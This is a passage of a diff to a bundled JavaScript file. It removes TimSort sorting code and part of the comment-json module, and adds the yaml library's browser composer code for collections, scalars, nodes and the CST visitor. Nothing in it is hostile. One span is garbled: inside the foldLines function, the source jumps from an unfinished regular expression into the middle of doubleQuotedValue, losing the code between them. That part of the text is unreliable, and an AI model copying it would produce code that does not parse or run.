tmp[cursor2]; - results[dest] = tmpIndex[cursor2]; - dest--; - cursor2--; - if (--length2 === 1) { - exit3 = true; - break; - } - count2 = length2 - gallopLeft( - array[cursor1], - tmp, - 0, - length2, - length2 - 1, - compare - ); - if (count2 !== 0) { - dest -= count2; - cursor2 -= count2; - length2 -= count2; - customDest = dest + 1; - customCursor = cursor2 + 1; - for (i7 = 0; i7 < count2; i7++) { - array[customDest + i7] = tmp[customCursor + i7]; - results[customDest + i7] = tmpIndex[customCursor + i7]; - } - if (length2 <= 1) { - exit3 = true; + if (st2.type === "newline") { + onError(st2, "MULTILINE_IMPLICIT_KEY", "Implicit keys of flow sequence pairs need to be on a single line"); break; } } - array[dest] = array[cursor1]; - results[dest] = results[cursor1]; - dest--; - cursor1--; - if (--length1 === 0) { - exit3 = true; - break; - } - minGallop--; - } while (count1 >= DEFAULT_MIN_GALLOPING || count2 >= DEFAULT_MIN_GALLOPING); - if (exit3) { - break; - } - if (minGallop < 0) { - minGallop = 0; - } - minGallop += 2; - } - this.minGallop = minGallop; - if (minGallop < 1) { - this.minGallop = 1; - } - if (length2 === 1) { - dest -= length1; - cursor1 -= length1; - customDest = dest + 1; - customCursor = cursor1 + 1; - for (i7 = length1 - 1; i7 >= 0; i7--) { - array[customDest + i7] = array[customCursor + i7]; - results[customDest + i7] = results[customCursor + i7]; - } - array[dest] = tmp[cursor2]; - results[dest] = tmpIndex[cursor2]; - } else if (length2 === 0) { - throw new Error("mergeHigh preconditions were not respected"); - } else { - customCursor = dest - (length2 - 1); - for (i7 = 0; i7 < length2; i7++) { - array[customCursor + i7] = tmp[i7]; - results[customCursor + i7] = tmpIndex[i7]; - } + if (props.start < valueProps.found.offset - 1024) + onError(valueProps.found, "KEY_OVER_1024_CHARS", "The : indicator must be at most 1024 chars after the start of an implicit flow sequence key"); } + } else if (value2) { + if ("source" in value2 && value2.source && value2.source[0] === ":") + onError(value2, "MISSING_CHAR", `Missing space after : in ${fcName}`); + else + onError(valueProps.start, "MISSING_CHAR", `Missing , or : between ${fcName} items`); } - }; - function sort(array, compare, lo, hi) { - if (!Array.isArray(array)) { - throw new TypeError( - `The "array" argument must be an array. Received ${array}` - ); + const valueNode = value2 ? composeNode3(ctx, value2, valueProps, onError) : valueProps.found ? composeEmptyNode2(ctx, valueProps.end, sep2, null, valueProps, onError) : null; + if (valueNode) { + if (isBlock(value2)) + onError(valueNode.range, "BLOCK_IN_FLOW", blockMsg); + } else if (valueProps.comment) { + if (keyNode.comment) + keyNode.comment += "\n" + valueProps.comment; + else + keyNode.comment = valueProps.comment; } - results = []; - const { length } = array; - let i7 = 0; - while (i7 < length) { - results[i7] = i7++; + const pair = new Pair(keyNode, valueNode); + if (ctx.options.keepSourceTokens) + pair.srcToken = collItem; + if (isMap3) { + const map4 = coll; + if (mapIncludes(ctx, map4.items, keyNode)) + onError(keyStart, "DUPLICATE_KEY", "Map keys must be unique"); + map4.items.push(pair); + } else { + const map4 = new YAMLMap(ctx.schema); + map4.flow = true; + map4.items.push(pair); + const endRange = (valueNode ?? keyNode).range; + map4.range = [keyNode.range[0], endRange[1], endRange[2]]; + coll.items.push(map4); } - if (!compare) { - compare = alphabeticalCompare; - } else if (typeof compare !== "function") { - hi = lo; - lo = compare; - compare = alphabeticalCompare; + offset = valueNode ? valueNode.range[2] : valueProps.end; + } + } + const expectedEnd = isMap3 ? "}" : "]"; + const [ce4, ...ee4] = fc.end; + let cePos = offset; + if (ce4 && ce4.source === expectedEnd) + cePos = ce4.offset + ce4.source.length; + else { + const name2 = fcName[0].toUpperCase() + fcName.substring(1); + const msg = atRoot ? `${name2} must end with a ${expectedEnd}` : `${name2} in block collection must be sufficiently indented and end with a ${expectedEnd}`; + onError(offset, atRoot ? "MISSING_CHAR" : "BAD_INDENT", msg); + if (ce4 && ce4.source.length !== 1) + ee4.unshift(ce4); + } + if (ee4.length > 0) { + const end = resolveEnd(ee4, cePos, ctx.options.strict, onError); + if (end.comment) { + if (coll.comment) + coll.comment += "\n" + end.comment; + else + coll.comment = end.comment; + } + coll.range = [fc.offset, cePos, end.offset]; + } else { + coll.range = [fc.offset, cePos, cePos]; + } + return coll; +} + +// node_modules/yaml/browser/dist/compose/compose-collection.js +function resolveCollection(CN2, ctx, token, onError, tagName, tag) { + const coll = token.type === "block-map" ? resolveBlockMap(CN2, ctx, token, onError, tag) : token.type === "block-seq" ? resolveBlockSeq(CN2, ctx, token, onError, tag) : resolveFlowCollection(CN2, ctx, token, onError, tag); + const Coll = coll.constructor; + if (tagName === "!" || tagName === Coll.tagName) { + coll.tag = Coll.tagName; + return coll; + } + if (tagName) + coll.tag = tagName; + return coll; +} +function composeCollection(CN2, ctx, token, props, onError) { + const tagToken = props.tag; + const tagName = !tagToken ? null : ctx.directives.tagName(tagToken.source, (msg) => onError(tagToken, "TAG_RESOLVE_FAILED", msg)); + if (token.type === "block-seq") { + const { anchor, newlineAfterProp: nl } = props; + const lastProp = anchor && tagToken ? anchor.offset > tagToken.offset ? anchor : tagToken : anchor ?? tagToken; + if (lastProp && (!nl || nl.offset < lastProp.offset)) { + const message = "Missing newline after block sequence props"; + onError(lastProp, "MISSING_CHAR", message); + } + } + const expType = token.type === "block-map" ? "map" : token.type === "block-seq" ? "seq" : token.start.source === "{" ? "map" : "seq"; + if (!tagToken || !tagName || tagName === "!" || tagName === YAMLMap.tagName && expType === "map" || tagName === YAMLSeq.tagName && expType === "seq") { + return resolveCollection(CN2, ctx, token, onError, tagName); + } + let tag = ctx.schema.tags.find((t8) => t8.tag === tagName && t8.collection === expType); + if (!tag) { + const kt = ctx.schema.knownTags[tagName]; + if (kt && kt.collection === expType) { + ctx.schema.tags.push(Object.assign({}, kt, { default: false })); + tag = kt; + } else { + if (kt) { + onError(tagToken, "BAD_COLLECTION_TYPE", `${kt.tag} used for ${expType} collection, but expects ${kt.collection ?? "scalar"}`, true); + } else { + onError(tagToken, "TAG_RESOLVE_FAILED", `Unresolved tag: ${tagName}`, true); } - if (!lo) { - lo = 0; + return resolveCollection(CN2, ctx, token, onError, tagName); + } + } + const coll = resolveCollection(CN2, ctx, token, onError, tagName, tag); + const res = tag.resolve?.(coll, (msg) => onError(tagToken, "TAG_RESOLVE_FAILED", msg), ctx.options) ?? coll; + const node = isNode(res) ? res : new Scalar(res); + node.range = coll.range; + node.tag = tagName; + if (tag?.format) + node.format = tag.format; + return node; +} + +// node_modules/yaml/browser/dist/compose/compose-scalar.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/compose/resolve-block-scalar.js +init_dirname(); +init_buffer2(); +init_process2(); +function resolveBlockScalar(ctx, scalar, onError) { + const start = scalar.offset; + const header = parseBlockScalarHeader(scalar, ctx.options.strict, onError); + if (!header) + return { value: "", type: null, comment: "", range: [start, start, start] }; + const type3 = header.mode === ">" ? Scalar.BLOCK_FOLDED : Scalar.BLOCK_LITERAL; + const lines = scalar.source ? splitLines(scalar.source) : []; + let chompStart = lines.length; + for (let i7 = lines.length - 1; i7 >= 0; --i7) { + const content = lines[i7][1]; + if (content === "" || content === "\r") + chompStart = i7; + else + break; + } + if (chompStart === 0) { + const value3 = header.chomp === "+" && lines.length > 0 ? "\n".repeat(Math.max(1, lines.length - 1)) : ""; + let end2 = start + header.length; + if (scalar.source) + end2 += scalar.source.length; + return { value: value3, type: type3, comment: header.comment, range: [start, end2, end2] }; + } + let trimIndent = scalar.indent + header.indent; + let offset = scalar.offset + header.length; + let contentStart = 0; + for (let i7 = 0; i7 < chompStart; ++i7) { + const [indent, content] = lines[i7]; + if (content === "" || content === "\r") { + if (header.indent === 0 && indent.length > trimIndent) + trimIndent = indent.length; + } else { + if (indent.length < trimIndent) { + const message = "Block scalars with more-indented leading empty lines must use an explicit indentation indicator"; + onError(offset + indent.length, "MISSING_CHAR", message); } - if (!hi) { - hi = length; + if (header.indent === 0) + trimIndent = indent.length; + contentStart = i7; + if (trimIndent === 0 && !ctx.atRoot) { + const message = "Block scalar values in collections must be indented"; + onError(offset, "BAD_INDENT", message); + } + break; + } + offset += indent.length + content.length + 1; + } + for (let i7 = lines.length - 1; i7 >= chompStart; --i7) { + if (lines[i7][0].length > trimIndent) + chompStart = i7 + 1; + } + let value2 = ""; + let sep2 = ""; + let prevMoreIndented = false; + for (let i7 = 0; i7 < contentStart; ++i7) + value2 += lines[i7][0].slice(trimIndent) + "\n"; + for (let i7 = contentStart; i7 < chompStart; ++i7) { + let [indent, content] = lines[i7]; + offset += indent.length + content.length + 1; + const crlf = content[content.length - 1] === "\r"; + if (crlf) + content = content.slice(0, -1); + if (content && indent.length < trimIndent) { + const src = header.indent ? "explicit indentation indicator" : "first line"; + const message = `Block scalar lines must not be less indented than their ${src}`; + onError(offset - content.length - (crlf ? 2 : 1), "BAD_INDENT", message); + indent = ""; + } + if (type3 === Scalar.BLOCK_LITERAL) { + value2 += sep2 + indent.slice(trimIndent) + content; + sep2 = "\n"; + } else if (indent.length > trimIndent || content[0] === " ") { + if (sep2 === " ") + sep2 = "\n"; + else if (!prevMoreIndented && sep2 === "\n") + sep2 = "\n\n"; + value2 += sep2 + indent.slice(trimIndent) + content; + sep2 = "\n"; + prevMoreIndented = true; + } else if (content === "") { + if (sep2 === "\n") + value2 += "\n"; + else + sep2 = "\n"; + } else { + value2 += sep2 + content; + sep2 = " "; + prevMoreIndented = false; + } + } + switch (header.chomp) { + case "-": + break; + case "+": + for (let i7 = chompStart; i7 < lines.length; ++i7) + value2 += "\n" + lines[i7][0].slice(trimIndent); + if (value2[value2.length - 1] !== "\n") + value2 += "\n"; + break; + default: + value2 += "\n"; + } + const end = start + header.length + scalar.source.length; + return { value: value2, type: type3, comment: header.comment, range: [start, end, end] }; +} +function parseBlockScalarHeader({ offset, props }, strict2, onError) { + if (props[0].type !== "block-scalar-header") { + onError(props[0], "IMPOSSIBLE", "Block scalar header not found"); + return null; + } + const { source } = props[0]; + const mode = source[0]; + let indent = 0; + let chomp = ""; + let error2 = -1; + for (let i7 = 1; i7 < source.length; ++i7) { + const ch = source[i7]; + if (!chomp && (ch === "-" || ch === "+")) + chomp = ch; + else { + const n7 = Number(ch); + if (!indent && n7) + indent = n7; + else if (error2 === -1) + error2 = offset + i7; + } + } + if (error2 !== -1) + onError(error2, "UNEXPECTED_TOKEN", `Block scalar header includes extra characters: ${source}`); + let hasSpace = false; + let comment = ""; + let length = source.length; + for (let i7 = 1; i7 < props.length; ++i7) { + const token = props[i7]; + switch (token.type) { + case "space": + hasSpace = true; + case "newline": + length += token.source.length; + break; + case "comment": + if (strict2 && !hasSpace) { + const message = "Comments must be separated from other tokens by white space characters"; + onError(token, "MISSING_CHAR", message); + } + length += token.source.length; + comment = token.source.substring(1); + break; + case "error": + onError(token, "UNEXPECTED_TOKEN", token.message); + length += token.source.length; + break; + default: { + const message = `Unexpected token in block scalar header: ${token.type}`; + onError(token, "UNEXPECTED_TOKEN", message); + const ts = token.source; + if (ts && typeof ts === "string") + length += ts.length; + } + } + } + return { mode, indent, chomp, comment, length }; +} +function splitLines(source) { + const split3 = source.split(/\n( *)/); + const first = split3[0]; + const m7 = first.match(/^( *)/); + const line0 = m7?.[1] ? [m7[1], first.slice(m7[1].length)] : ["", first]; + const lines = [line0]; + for (let i7 = 1; i7 < split3.length; i7 += 2) + lines.push([split3[i7], split3[i7 + 1]]); + return lines; +} + +// node_modules/yaml/browser/dist/compose/resolve-flow-scalar.js +init_dirname(); +init_buffer2(); +init_process2(); +function resolveFlowScalar(scalar, strict2, onError) { + const { offset, type: type3, source, end } = scalar; + let _type; + let value2; + const _onError = (rel, code, msg) => onError(offset + rel, code, msg); + switch (type3) { + case "scalar": + _type = Scalar.PLAIN; + value2 = plainValue(source, _onError); + break; + case "single-quoted-scalar": + _type = Scalar.QUOTE_SINGLE; + value2 = singleQuotedValue(source, _onError); + break; + case "double-quoted-scalar": + _type = Scalar.QUOTE_DOUBLE; + value2 = doubleQuotedValue(source, _onError); + break; + default: + onError(scalar, "UNEXPECTED_TOKEN", `Expected a flow scalar value, but found: ${type3}`); + return { + value: "", + type: null, + comment: "", + range: [offset, offset + source.length, offset + source.length] + }; + } + const valueEnd = offset + source.length; + const re4 = resolveEnd(end, valueEnd, strict2, onError); + return { + value: value2, + type: _type, + comment: re4.comment, + range: [offset, valueEnd, re4.offset] + }; +} +function plainValue(source, onError) { + let badChar = ""; + switch (source[0]) { + case " ": + badChar = "a tab character"; + break; + case ",": + badChar = "flow indicator character ,"; + break; + case "%": + badChar = "directive indicator character %"; + break; + case "|": + case ">": { + badChar = `block scalar indicator ${source[0]}`; + break; + } + case "@": + case "`": { + badChar = `reserved character ${source[0]}`; + break; + } + } + if (badChar) + onError(0, "BAD_SCALAR_START", `Plain value cannot start with ${badChar}`); + return foldLines(source); +} +function singleQuotedValue(source, onError) { + if (source[source.length - 1] !== "'" || source.length === 1) + onError(source.length, "MISSING_CHAR", "Missing closing 'quote"); + return foldLines(source.slice(1, -1)).replace(/''/g, "'"); +} +function foldLines(source) { + let first, line; + try { + first = new RegExp("(.*?)(? wsStart ? source.slice(wsStart, i7 + 1) : ch; + } else { + res += ch; + } + } + if (source[source.length - 1] !== '"' || source.length === 1) + onError(source.length, "MISSING_CHAR", 'Missing closing "quote'); + return res; +} +function foldNewline(source, offset) { + let fold = ""; + let ch = source[offset + 1]; + while (ch === " " || ch === " " || ch === "\n" || ch === "\r") { + if (ch === "\r" && source[offset + 2] !== "\n") + break; + if (ch === "\n") + fold += "\n"; + offset += 1; + ch = source[offset + 1]; + } + if (!fold) + fold = " "; + return { fold, offset }; +} +var escapeCodes = { + "0": "\0", + // null character + a: "\x07", + // bell character + b: "\b", + // backspace + e: "\x1B", + // escape character + f: "\f", + // form feed + n: "\n", + // line feed + r: "\r", + // carriage return + t: " ", + // horizontal tab + v: "\v", + // vertical tab + N: "\x85", + // Unicode next line + _: "\xA0", + // Unicode non-breaking space + L: "\u2028", + // Unicode line separator + P: "\u2029", + // Unicode paragraph separator + " ": " ", + '"': '"', + "/": "/", + "\\": "\\", + " ": " " +}; +function parseCharCode(source, offset, length, onError) { + const cc = source.substr(offset, length); + const ok2 = cc.length === length && /^[0-9a-fA-F]+$/.test(cc); + const code = ok2 ? parseInt(cc, 16) : NaN; + if (isNaN(code)) { + const raw = source.substr(offset - 2, length + 2); + onError(offset - 2, "BAD_DQ_ESCAPE", `Invalid escape sequence ${raw}`); + return raw; + } + return String.fromCodePoint(code); +} + +// node_modules/yaml/browser/dist/compose/compose-scalar.js +function composeScalar(ctx, token, tagToken, onError) { + const { value: value2, type: type3, comment, range: range2 } = token.type === "block-scalar" ? resolveBlockScalar(ctx, token, onError) : resolveFlowScalar(token, ctx.options.strict, onError); + const tagName = tagToken ? ctx.directives.tagName(tagToken.source, (msg) => onError(tagToken, "TAG_RESOLVE_FAILED", msg)) : null; + let tag; + if (ctx.options.stringKeys && ctx.atKey) { + tag = ctx.schema[SCALAR]; + } else if (tagName) + tag = findScalarTagByName(ctx.schema, value2, tagName, tagToken, onError); + else if (token.type === "scalar") + tag = findScalarTagByTest(ctx, value2, token, onError); + else + tag = ctx.schema[SCALAR]; + let scalar; + try { + const res = tag.resolve(value2, (msg) => onError(tagToken ?? token, "TAG_RESOLVE_FAILED", msg), ctx.options); + scalar = isScalar(res) ? res : new Scalar(res); + } catch (error2) { + const msg = error2 instanceof Error ? error2.message : String(error2); + onError(tagToken ?? token, "TAG_RESOLVE_FAILED", msg); + scalar = new Scalar(value2); + } + scalar.range = range2; + scalar.source = value2; + if (type3) + scalar.type = type3; + if (tagName) + scalar.tag = tagName; + if (tag.format) + scalar.format = tag.format; + if (comment) + scalar.comment = comment; + return scalar; +} +function findScalarTagByName(schema8, value2, tagName, tagToken, onError) { + if (tagName === "!") + return schema8[SCALAR]; + const matchWithTest = []; + for (const tag of schema8.tags) { + if (!tag.collection && tag.tag === tagName) { + if (tag.default && tag.test) + matchWithTest.push(tag); + else + return tag; + } + } + for (const tag of matchWithTest) + if (tag.test?.test(value2)) + return tag; + const kt = schema8.knownTags[tagName]; + if (kt && !kt.collection) { + schema8.tags.push(Object.assign({}, kt, { default: false, test: void 0 })); + return kt; + } + onError(tagToken, "TAG_RESOLVE_FAILED", `Unresolved tag: ${tagName}`, tagName !== "tag:yaml.org,2002:str"); + return schema8[SCALAR]; +} +function findScalarTagByTest({ atKey, directives, schema: schema8 }, value2, token, onError) { + const tag = schema8.tags.find((tag2) => (tag2.default === true || atKey && tag2.default === "key") && tag2.test?.test(value2)) || schema8[SCALAR]; + if (schema8.compat) { + const compat = schema8.compat.find((tag2) => tag2.default && tag2.test?.test(value2)) ?? schema8[SCALAR]; + if (tag.tag !== compat.tag) { + const ts = directives.tagString(tag.tag); + const cs = directives.tagString(compat.tag); + const msg = `Value may be parsed as either ${ts} or ${cs}`; + onError(token, "TAG_RESOLVE_FAILED", msg, true); + } + } + return tag; +} + +// node_modules/yaml/browser/dist/compose/util-empty-scalar-position.js +init_dirname(); +init_buffer2(); +init_process2(); +function emptyScalarPosition(offset, before2, pos) { + if (before2) { + pos ?? (pos = before2.length); + for (let i7 = pos - 1; i7 >= 0; --i7) { + let st2 = before2[i7]; + switch (st2.type) { + case "space": + case "comment": + case "newline": + offset -= st2.source.length; + continue; + } + st2 = before2[++i7]; + while (st2?.type === "space") { + offset += st2.source.length; + st2 = before2[++i7]; + } + break; + } + } + return offset; +} + +// node_modules/yaml/browser/dist/compose/compose-node.js +var CN = { composeNode, composeEmptyNode }; +function composeNode(ctx, token, props, onError) { + const atKey = ctx.atKey; + const { spaceBefore, comment, anchor, tag } = props; + let node; + let isSrcToken = true; + switch (token.type) { + case "alias": + node = composeAlias(ctx, token, onError); + if (anchor || tag) + onError(token, "ALIAS_PROPS", "An alias node must not specify any properties"); + break; + case "scalar": + case "single-quoted-scalar": + case "double-quoted-scalar": + case "block-scalar": + node = composeScalar(ctx, token, tag, onError); + if (anchor) + node.anchor = anchor.source.substring(1); + break; + case "block-map": + case "block-seq": + case "flow-collection": + node = composeCollection(CN, ctx, token, props, onError); + if (anchor) + node.anchor = anchor.source.substring(1); + break; + default: { + const message = token.type === "error" ? token.message : `Unsupported token (type: ${token.type})`; + onError(token, "UNEXPECTED_TOKEN", message); + node = composeEmptyNode(ctx, token.offset, void 0, null, props, onError); + isSrcToken = false; + } + } + if (anchor && node.anchor === "") + onError(anchor, "BAD_ALIAS", "Anchor cannot be an empty string"); + if (atKey && ctx.options.stringKeys && (!isScalar(node) || typeof node.value !== "string" || node.tag && node.tag !== "tag:yaml.org,2002:str")) { + const msg = "With stringKeys, all keys must be strings"; + onError(tag ?? token, "NON_STRING_KEY", msg); + } + if (spaceBefore) + node.spaceBefore = true; + if (comment) { + if (token.type === "scalar" && token.source === "") + node.comment = comment; + else + node.commentBefore = comment; + } + if (ctx.options.keepSourceTokens && isSrcToken) + node.srcToken = token; + return node; +} +function composeEmptyNode(ctx, offset, before2, pos, { spaceBefore, comment, anchor, tag, end }, onError) { + const token = { + type: "scalar", + offset: emptyScalarPosition(offset, before2, pos), + indent: -1, + source: "" + }; + const node = composeScalar(ctx, token, tag, onError); + if (anchor) { + node.anchor = anchor.source.substring(1); + if (node.anchor === "") + onError(anchor, "BAD_ALIAS", "Anchor cannot be an empty string"); + } + if (spaceBefore) + node.spaceBefore = true; + if (comment) { + node.comment = comment; + node.range[2] = end; + } + return node; +} +function composeAlias({ options }, { offset, source, end }, onError) { + const alias = new Alias(source.substring(1)); + if (alias.source === "") + onError(offset, "BAD_ALIAS", "Alias cannot be an empty string"); + if (alias.source.endsWith(":")) + onError(offset + source.length - 1, "BAD_ALIAS", "Alias ending in : is ambiguous", true); + const valueEnd = offset + source.length; + const re4 = resolveEnd(end, valueEnd, options.strict, onError); + alias.range = [offset, valueEnd, re4.offset]; + if (re4.comment) + alias.comment = re4.comment; + return alias; +} + +// node_modules/yaml/browser/dist/compose/compose-doc.js +function composeDoc(options, directives, { offset, start, value: value2, end }, onError) { + const opts = Object.assign({ _directives: directives }, options); + const doc = new Document(void 0, opts); + const ctx = { + atKey: false, + atRoot: true, + directives: doc.directives, + options: doc.options, + schema: doc.schema + }; + const props = resolveProps(start, { + indicator: "doc-start", + next: value2 ?? end?.[0], + offset, + onError, + parentIndent: 0, + startOnNewline: true + }); + if (props.found) { + doc.directives.docStart = true; + if (value2 && (value2.type === "block-map" || value2.type === "block-seq") && !props.hasNewline) + onError(props.end, "MISSING_CHAR", "Block collection cannot start on same line with directives-end marker"); + } + doc.contents = value2 ? composeNode(ctx, value2, props, onError) : composeEmptyNode(ctx, props.end, start, null, props, onError); + const contentEnd = doc.contents.range[2]; + const re4 = resolveEnd(end, contentEnd, false, onError); + if (re4.comment) + doc.comment = re4.comment; + doc.range = [offset, contentEnd, re4.offset]; + return doc; +} + +// node_modules/yaml/browser/dist/compose/composer.js +function getErrorPos(src) { + if (typeof src === "number") + return [src, src + 1]; + if (Array.isArray(src)) + return src.length === 2 ? src : [src[0], src[1]]; + const { offset, source } = src; + return [offset, offset + (typeof source === "string" ? source.length : 1)]; +} +function parsePrelude(prelude) { + let comment = ""; + let atComment = false; + let afterEmptyLine = false; + for (let i7 = 0; i7 < prelude.length; ++i7) { + const source = prelude[i7]; + switch (source[0]) { + case "#": + comment += (comment === "" ? "" : afterEmptyLine ? "\n\n" : "\n") + (source.substring(1) || " "); + atComment = true; + afterEmptyLine = false; + break; + case "%": + if (prelude[i7 + 1]?.[0] !== "#") + i7 += 1; + atComment = false; + break; + default: + if (!atComment) + afterEmptyLine = true; + atComment = false; + } + } + return { comment, afterEmptyLine }; +} +var Composer = class { + constructor(options = {}) { + this.doc = null; + this.atDirectives = false; + this.prelude = []; + this.errors = []; + this.warnings = []; + this.onError = (source, code, message, warning) => { + const pos = getErrorPos(source); + if (warning) + this.warnings.push(new YAMLWarning(pos, code, message)); + else + this.errors.push(new YAMLParseError(pos, code, message)); + }; + this.directives = new Directives({ version: options.version || "1.2" }); + this.options = options; + } + decorate(doc, afterDoc) { + const { comment, afterEmptyLine } = parsePrelude(this.prelude); + if (comment) { + const dc = doc.contents; + if (afterDoc) { + doc.comment = doc.comment ? `${doc.comment} +${comment}` : comment; + } else if (afterEmptyLine || doc.directives.docStart || !dc) { + doc.commentBefore = comment; + } else if (isCollection(dc) && !dc.flow && dc.items.length > 0) { + let it2 = dc.items[0]; + if (isPair(it2)) + it2 = it2.key; + const cb = it2.commentBefore; + it2.commentBefore = cb ? `${comment} +${cb}` : comment; + } else { + const cb = dc.commentBefore; + dc.commentBefore = cb ? `${comment} +${cb}` : comment; } - let remaining = hi - lo; - if (remaining < 2) { - return results; + } + if (afterDoc) { + Array.prototype.push.apply(doc.errors, this.errors); + Array.prototype.push.apply(doc.warnings, this.warnings); + } else { + doc.errors = this.errors; + doc.warnings = this.warnings; + } + this.prelude = []; + this.errors = []; + this.warnings = []; + } + /** + * Current stream status information. + * + * Mostly useful at the end of input for an empty stream. + */ + streamInfo() { + return { + comment: parsePrelude(this.prelude).comment, + directives: this.directives, + errors: this.errors, + warnings: this.warnings + }; + } + /** + * Compose tokens into documents. + * + * @param forceDoc - If the stream contains no document, still emit a final document including any comments and directives that would be applied to a subsequent document. + * @param endOffset - Should be set if `forceDoc` is also set, to set the document range end and to indicate errors correctly. + */ + *compose(tokens, forceDoc = false, endOffset = -1) { + for (const token of tokens) + yield* this.next(token); + yield* this.end(forceDoc, endOffset); + } + /** Advance the composer by one CST token. */ + *next(token) { + switch (token.type) { + case "directive": + this.directives.add(token.source, (offset, message, warning) => { + const pos = getErrorPos(token); + pos[0] += offset; + this.onError(pos, "BAD_DIRECTIVE", message, warning); + }); + this.prelude.push(token.source); + this.atDirectives = true; + break; + case "document": { + const doc = composeDoc(this.options, this.directives, token, this.onError); + if (this.atDirectives && !doc.directives.docStart) + this.onError(token, "MISSING_CHAR", "Missing directives-end/doc-start indicator line"); + this.decorate(doc, false); + if (this.doc) + yield this.doc; + this.doc = doc; + this.atDirectives = false; + break; } - let runLength = 0; - if (remaining < DEFAULT_MIN_MERGE) { - runLength = makeAscendingRun(array, lo, hi, compare); - binaryInsertionSort(array, lo, hi, lo + runLength, compare); - return results; + case "byte-order-mark": + case "space": + break; + case "comment": + case "newline": + this.prelude.push(token.source); + break; + case "error": { + const msg = token.source ? `${token.message}: ${JSON.stringify(token.source)}` : token.message; + const error2 = new YAMLParseError(getErrorPos(token), "UNEXPECTED_TOKEN", msg); + if (this.atDirectives || !this.doc) + this.errors.push(error2); + else + this.doc.errors.push(error2); + break; } - const ts = new TimSort(array, compare); - const minRun = minRunLength(remaining); - do { - runLength = makeAscendingRun(array, lo, hi, compare); - if (runLength < minRun) { - let force = remaining; - if (force > minRun) { - force = minRun; - } - binaryInsertionSort(array, lo, lo + force, lo + runLength, compare); - runLength = force; + case "doc-end": { + if (!this.doc) { + const msg = "Unexpected doc-end without preceding document"; + this.errors.push(new YAMLParseError(getErrorPos(token), "UNEXPECTED_TOKEN", msg)); + break; } - ts.pushRun(lo, runLength); - ts.mergeRuns(); - remaining -= runLength; - lo += runLength; - } while (remaining !== 0); - ts.forceMergeRuns(); - return results; + this.doc.directives.docEnd = true; + const end = resolveEnd(token.end, token.offset + token.source.length, this.doc.options.strict, this.onError); + this.decorate(this.doc, true); + if (end.comment) { + const dc = this.doc.comment; + this.doc.comment = dc ? `${dc} +${end.comment}` : end.comment; + } + this.doc.range[2] = end.offset; + break; + } + default: + this.errors.push(new YAMLParseError(getErrorPos(token), "UNEXPECTED_TOKEN", `Unsupported token ${token.type}`)); } - module5.exports = { - sort - }; } -}); + /** + * Call at end of input to yield any remaining document. + * + * @param forceDoc - If the stream contains no document, still emit a final document including any comments and directives that would be applied to a subsequent document. + * @param endOffset - Should be set if `forceDoc` is also set, to set the document range end and to indicate errors correctly. + */ + *end(forceDoc = false, endOffset = -1) { + if (this.doc) { + this.decorate(this.doc, true); + yield this.doc; + this.doc = null; + } else if (forceDoc) { + const opts = Object.assign({ _directives: this.directives }, this.options); + const doc = new Document(void 0, opts); + if (this.atDirectives) + this.onError(endOffset, "MISSING_CHAR", "Missing directives-end indicator line"); + doc.range = [0, endOffset, endOffset]; + this.decorate(doc, false); + yield doc; + } + } +}; -// node_modules/comment-json/src/common.js -var require_common6 = __commonJS({ - "node_modules/comment-json/src/common.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - var PREFIX_BEFORE = "before"; - var PREFIX_AFTER_PROP = "after-prop"; - var PREFIX_AFTER_COLON = "after-colon"; - var PREFIX_AFTER_VALUE = "after-value"; - var PREFIX_AFTER = "after"; - var PREFIX_BEFORE_ALL = "before-all"; - var PREFIX_AFTER_ALL = "after-all"; - var BRACKET_OPEN = "["; - var BRACKET_CLOSE = "]"; - var CURLY_BRACKET_OPEN = "{"; - var CURLY_BRACKET_CLOSE = "}"; - var COMMA = ","; - var EMPTY = ""; - var MINUS = "-"; - var PROP_SYMBOL_PREFIXES = [ - PREFIX_BEFORE, - PREFIX_AFTER_PROP, - PREFIX_AFTER_COLON, - PREFIX_AFTER_VALUE, - PREFIX_AFTER - ]; - var NON_PROP_SYMBOL_PREFIXES = [ - PREFIX_BEFORE, - PREFIX_AFTER, - PREFIX_BEFORE_ALL, - PREFIX_AFTER_ALL - ]; - var NON_PROP_SYMBOL_KEYS = NON_PROP_SYMBOL_PREFIXES.map(Symbol.for); - var COLON = ":"; - var UNDEFINED = void 0; - var LINE_BREAKS_BEFORE = /* @__PURE__ */ new WeakMap(); - var LINE_BREAKS_AFTER = /* @__PURE__ */ new WeakMap(); - var RAW_STRING_LITERALS = /* @__PURE__ */ new WeakMap(); - var is_string = (subject) => typeof subject === "string"; - var is_number = (subject) => typeof subject === "number"; - var is_object = (v8) => typeof v8 === "object" && v8 !== null; - var normalize_key = (key) => is_string(key) || is_number(key) ? String(key) : null; - var set_raw_string_literal = (host, key, raw) => { - if (!is_object(host) || !is_string(raw)) { - return; - } - const normalized = normalize_key(key); - if (normalized === null) { - return; +// node_modules/yaml/browser/dist/parse/cst.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/parse/cst-scalar.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/parse/cst-stringify.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/parse/cst-visit.js +init_dirname(); +init_buffer2(); +init_process2(); +var BREAK2 = Symbol("break visit"); +var SKIP2 = Symbol("skip children"); +var REMOVE2 = Symbol("remove item"); +function visit2(cst, visitor) { + if ("type" in cst && cst.type === "document") + cst = { start: cst.start, value: cst.value }; + _visit(Object.freeze([]), cst, visitor); +} +visit2.BREAK = BREAK2; +visit2.SKIP = SKIP2; +visit2.REMOVE = REMOVE2; +visit2.itemAtPath = (cst, path2) => { + let item = cst; + for (const [field, index4] of path2) { + const tok = item?.[field]; + if (tok && "items" in tok) { + item = tok.items[index4]; + } else + return void 0; + } + return item; +}; +visit2.parentCollection = (cst, path2) => { + const parent2 = visit2.itemAtPath(cst, path2.slice(0, -1)); + const field = path2[path2.length - 1][0]; + const coll = parent2?.[field]; + if (coll && "items" in coll) + return coll; + throw new Error("Parent collection not found"); +}; +function _visit(path2, item, visitor) { + let ctrl = visitor(item, path2); + if (typeof ctrl === "symbol") + return ctrl; + for (const field of ["key", "value"]) { + const token = item[field]; + if (token && "items" in token) { + for (let i7 = 0; i7 < token.items.length; ++i7) { + const ci = _visit(Object.freeze(path2.concat([[field, i7]])), token.items[i7], visitor); + if (typeof ci === "number") + i7 = ci - 1; + else if (ci === BREAK2) + return BREAK2; + else if (ci === REMOVE2) { + token.items.splice(i7, 1); + i7 -= 1; + } } - let map4 